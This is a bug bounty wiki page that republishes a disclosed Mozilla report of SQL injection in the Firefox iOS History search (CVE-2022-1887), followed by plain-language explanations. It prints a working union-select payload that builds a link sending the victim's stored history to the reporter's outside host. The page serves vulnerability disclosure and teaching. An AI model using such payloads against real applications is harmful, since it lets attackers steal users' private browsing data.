Skip to content
SQL injection Disclosed report Intermediate CVE-2022-1887

SQL injection in History tab on Firefox iOS

The History tab search in Firefox iOS built an SQL query by inserting the search term as a string, allowing SQL injection. An attacker could craft a search term that, when pasted, injected a union query to steal browsing history data and send it to a malicious page.

Muneaki Nishimura Follow

Originally disclosed on Mozilla

  • Fixed in 11 days
  • Paid in 23 days
  • Disclosed after 11 days
Text
Created attachment 9274589
history_sqli.mov

In Firefox iOS, the following SQL query incorporates the variable `searchTerm` as a string.
https://github.com/mozilla-mobile/firefox-ios/blob/b0efb5ad72289b40d912ae0fa9230b6a524679a0/Storage/SQL/SQLiteHistory.swift#L622
The `searchTerm` can be specified externally, so SQL injection can be triggered.

The steps to reproduce the injection are below.
(1) Visit https://csrf.jp/2022/fxios/history.php
(2) Tap the link on the page, and the attack payload will be stored in your clipboard
(3) Open History tab from the hamburger menu and tap the magnifying glass icon
(4) Paste the search word from your clipboard, then you can see the following payload in the text input field
`a" union select 1,'','https://csrf.jp/2022/fxios/history.php?'||group_concat(media_url), 'Click Me!',1,1,1,1,1 from page_metadata;`
(5) One history record that name is "click me!" is shown in the history list
(6) Tap the record, then your history data will be stolen to the malicious page

The attached is a video demonstration of the above attack.

The original report as published on Mozilla's Bugzilla, by Muneaki Nishimura. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could steal the victim's browsing history data by tricking them into pasting a crafted search term and tapping a resulting history entry.

What the attacker needed

Victim visits attacker's page; victim pastes into History search; victim taps the injected history entry

How it was found

  1. Visit the attacker's page that stores a malicious search term in the clipboard.
  2. Open the History tab from the hamburger menu and tap the magnifying glass icon.
  3. Paste the search term from the clipboard into the search field.
  4. A history record named 'Click Me!' appears in the list.
  5. Tap that record, and the stolen history data is sent to the malicious page.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

SQL injection is when user input is inserted directly into a database command, letting an attacker change the command's meaning. Here, the search box in the History tab did not treat the search text safely, so a specially crafted search could make the app run extra database instructions. That let the attacker read stored browsing history and send it to their own website.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by Muneaki Nishimura

View all

74 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.